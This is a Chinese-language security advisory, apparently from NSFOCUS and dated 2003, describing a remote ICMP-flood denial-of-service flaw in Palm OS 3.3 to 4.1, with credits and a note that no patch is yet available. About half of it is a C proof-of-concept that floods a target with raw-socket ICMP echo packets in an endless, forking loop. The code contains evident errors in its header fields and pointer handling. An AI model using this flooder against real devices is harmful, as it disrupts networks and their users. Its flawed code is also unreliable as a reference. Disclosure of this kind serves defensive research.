安全研究
安全漏洞
PalmOS ICMP淹没远程拒绝服务攻击漏洞
发布日期:2003-05-14
更新日期:2003-05-20
受影响系统:
Palm Palm OS 4.1描述:
Palm Palm OS 4.0
Palm Palm OS 3.5h
Palm Palm OS 3.5.2
Palm Palm OS 3.3
BUGTRAQ ID: 7597
PalmOS是使用在Palm掌上电脑的操作系统。
PalmOS在处理部分ICMP通信时存在问题,远程攻击者可以利用这个漏洞对PalmOS操作系统进行拒绝服务攻击,使设备变的不稳定。
当攻击者持续发送ICMP_ECH包给PalmOS设备时,会使操作系统CPU利用率达到100%,所有通信都将中断,甚至会引起致命错误的消息。
<*来源:Shaun Moore (shaunige@yahoo.co.uk)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105293128612131&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[2000];
struct sockaddr_in dest;
struct hostent *host;
struct iphdr *ip = (struct iphdr *) packet;
struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr *)host->h_addr);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("127.0");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
ip->check = 0;
icmp->checksum = 0;
icmp->type = ICMP_ECHO;
icmp->code = 0;
printf("Ping flooding %s!\n", argv[1]);
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0,(struct sockaddr *)&dest, sizeof(struct sockaddr));
}
return(0);
}
建议:
厂商补丁:
Palm
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.palmos.com/
浏览次数:2871
严重程度:0(网友投票)
绿盟科技给您安全的保障